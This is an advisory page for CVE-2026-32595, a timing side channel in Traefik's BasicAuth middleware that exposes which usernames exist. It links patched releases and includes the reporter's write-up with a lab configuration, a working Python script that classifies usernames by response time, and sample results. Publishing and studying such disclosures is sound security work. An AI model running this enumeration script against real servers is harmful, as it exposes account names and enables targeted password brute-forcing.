CVE-2026-32595

EPSS 0.01%

Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration

發布日:2026/3/20修改日:2026/4/16
也稱為:GHSA-g3hg-j4jv-cwfrGO-2026-4792

描述

## Summary There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack. When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration. ### Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames. Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution. Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times. ### PoC Environment: - Traefik v3.6.9 - k3s v1.34.5 Configuration: ```yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: basicauth namespace: traefik-poc spec: basicAuth: secret: basic-auth-secret --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: test-basicauth annotations: traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd spec: ingressClassName: traefik rules: - http: paths: - path: /protected pathType: Prefix backend: service: name: whoami port: number: 80 ``` PoC Script: ```python #!/usr/bin/env python3 import requests import time import statistics import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected" TEST_USERS = ["admin", "root", "test", "nonexistent12345"] SAMPLES = 20 def measure_time(username, password="wrongpassword"): times = [] for _ in range(SAMPLES): start = time.perf_counter() requests.get(TARGET, auth=(username, password), timeout=5) elapsed = time.perf_counter() - start times.append(elapsed) return statistics.median(times) print(f"Target: {TARGET}") print(f"Samples per user: {SAMPLES}\n") for user in TEST_USERS: median = measure_time(user) if median > 0.05: # bcrypt threshold status = "[+] EXISTS (slow - bcrypt verification)" else: status = "[-] NOT FOUND (fast - immediate return)" print(f"{status}: {user:20s} | median={median:.4f}s") ``` Execution Results: ``` Target: http://10.10.10.7:30080/protected Samples per user: 20 [+] EXISTS (slow - bcrypt verification): admin | median=0.1665s [-] NOT FOUND (fast - immediate return): root | median=0.0006s [-] NOT FOUND (fast - immediate return): test | median=0.0006s [-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s Timing difference ratio: 298.0x ``` ### Impact - **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208) - **Impact:** - Attackers can enumerate valid usernames without authentication - Enables targeted password brute-force attacks against confirmed accounts - Exposes information about system user structure - **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires: - BasicAuth middleware enabled - Attacker able to make requests to protected endpoints - Network access to measure response times - **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times - **Privileges Required:** None - **User Interaction:** None </details> ---

受影響套件(6)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 4.0—CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

參考連結(6)